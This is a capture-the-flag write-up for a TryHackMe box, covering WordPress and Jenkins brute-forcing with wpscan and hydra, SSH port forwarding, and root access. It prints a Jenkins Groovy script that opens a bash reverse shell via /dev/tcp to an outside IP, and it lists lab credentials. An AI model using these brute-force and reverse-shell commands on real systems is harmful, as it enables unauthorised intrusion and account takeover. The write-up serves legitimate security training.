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+tryhackme box (Hard)
+
+## Recon
+did an nmap scan on the target to get the output as 2 open ports.
+
+open_ports: http(80) and ssh(22)
+
+gobuster scan on the target on port 80 revealed a wordpress site on the url `/blog`. So I added the ip to hosts and reloaded the site.
+
+In the meantime enumerate for users using wpscan.
+
+## Enumeration
+`wpscan --url HOST-IP/blog --enumerate`
+
+The enumeration for the users only gave up 1 username i.e. `admin`
+
+Running a brute-force with wpscan on the target with username `admin` we get the password.
+
+`wpscan --url HOST-IP/blog --usernames admin --passwords rockyou.txt`
+
+Starting from brute-force on wordpress site.
+
+It found a match.
+`admin : my2boys` --> wordpress
+
+## Exploiting jenkins
+Uploaded a reverse shell to themes and trigger a reverse shell.
+
+Got reverse shell and did alot of snooping around even the linpeas.sh didn't work. So, I looked at a writeup to find a hidden file in `/opt`.
+
+That file gave a password to the user aubreanna. I log into that and there was note in there that said:
+
+`Internal Jenkins service is running on 172.17.0.2:8080`
+
+We port forward everything going here to our local machine.
+
+`ssh -L 1234:localhost:8080 aubreanna@internal.thm`
+
+I can open a jenkins site now on the localhost:1234.
+brute-forcing the password to this jenkins site using hydra.
+
+`hydra -l admin -P rockyou.txt -u localhost -s 1234 http-get`
+
+We get the creds for that
+`admin : spongebob` --> jenkins
+
+## Getting the root shell
+After snooping around there, I goto `run script` under `manage jenkins` tab.
+There I ran a script to get a `java reverse shell` running.
+
+`
+r = Runtime.getRuntime()
+p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.14.13.156/9999;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+p.waitFor()
+`
+
+I wasn't finding anything like config files. So I ran a search for txt files.
+
+`find -name *.txt 2>/dev/null`
+
+I find a `note.txt` in the directory `/opt`.
+
+In the note was password to the root account.
+
+`root : tr0ub13guM!@#123`
+
+Now we can get both the flags.
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